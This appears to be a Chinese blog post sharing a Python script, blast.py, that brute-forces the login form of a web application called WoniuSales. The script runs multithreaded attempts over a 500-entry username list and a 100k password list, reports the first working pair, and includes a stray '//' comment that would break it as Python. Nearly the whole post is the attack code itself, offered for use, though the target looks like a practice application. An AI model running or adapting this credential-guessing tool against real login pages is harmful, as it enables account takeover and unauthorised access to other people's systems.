Python 爆破账密

# -*- coding: utf-8 -*-
# @Time : 2022/5/27 16:47
# @Author : admin
# @Email : 1985264689@qq.com
# @File : blast.py
# @Project : 项目
# @脚本说明 :
import requests,os,threading

def blosting(namelist):
    //此处为引用的一个字典,可自行准备
    with open('userpass/password-top100k.txt',encoding='GBK') as file:
        pw_list = file.readlines()
        # print(pw_list)
    for name in namelist:
        url = "http://IP地址+端口/WoniuSales1.4/user/login"
        for ps in pw_list:
            data = {'username':name.strip(),'password':ps.strip(),'verifycode':'0000'}
            resp = requests.post(url=url,data=data)
            if 'login-pass' in resp.text:
                print(f'爆破成功,用户名为:{name.strip()},密码为:{ps.strip()}')
                exit()

if __name__ == '__main__':
    with open('./userpass/username-top500.txt','r')as f:
        user_list = f.readlines()
    for i in range(0,len(user_list),20):
        namelist = user_list[i:i+20]
        threading.Thread(target=blosting,args=(namelist,)).start()

版权声明:本文为weixin_45972507原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。